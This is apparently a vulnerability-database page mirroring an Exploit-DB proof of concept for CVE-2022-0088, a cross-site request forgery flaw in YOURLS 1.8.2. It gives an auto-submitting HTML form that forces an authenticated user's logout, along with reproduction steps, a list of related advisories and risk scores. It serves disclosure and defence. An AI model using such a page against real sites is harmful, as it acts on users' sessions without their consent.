YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)

🗓️ 02 Dec 2025 00:00:00Reported by CodeSecLabType

exploitdb🔗 www.exploit-db.com👁 141 Views

YOURLS 1.8.2 CSRF allows logout via crafted request (CVE-2022-0088).

Reporter	Title	Published	Views	Family All 18
ATTACKERKB	CVE-2022-0088	3 Apr 202209:15	–	attackerkb
Circl	CVE-2022-0088	3 Dec 202521:02	–	circl
CNNVD	YOURLS 跨站请求伪造漏洞	3 Apr 202200:00	–	cnnvd
CVE	CVE-2022-0088	3 Apr 202208:50	–	cve
Cvelist	CVE-2022-0088 Cross-Site Request Forgery (CSRF) in yourls/yourls	3 Apr 202208:50	–	cvelist
Huntr	Cross-Site Request Forgery (CSRF) in yourls/yourls	24 Dec 202108:30	–	huntr
EUVD	EUVD-2022-1750	3 Oct 202520:07	–	euvd
Github Security Blog	Cross-Site Request Forgery in YOURLS	4 Apr 202200:00	–	github
NVD	CVE-2022-0088	3 Apr 202209:15	–	nvd
OSV	CVE-2022-0088 Cross-Site Request Forgery (CSRF) in yourls/yourls	3 Apr 202208:50	–	osv

# Exploit Title: YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/yourls/yourls/
# Software Link: https://github.com/yourls/yourls/
# Version: 1.8.2 
# Tested on: Windows
# CVE : CVE-2022-0088


Proof Of Concept
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>
    <form action="http://yourls/admin/index.php" method="GET">
        <input type="hidden" name="action" value="logout">
        <input type="submit" value="Submit CSRF Request">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

This HTML page, when visited by an authenticated user of the vulnerable application, will automatically submit a request to log the user out without their consent, demonstrating the CSRF vulnerability.


Steps to Reproduce
Save the following code as poc.html.
Log in yourls, and open the file in the same browser.
Observe the result.

02 Dec 2025 00:00Current

7High risk

Vulners AI Score7

CVSS 24.3

CVSS 3.17.4

CVSS 33.5

EPSS0.00598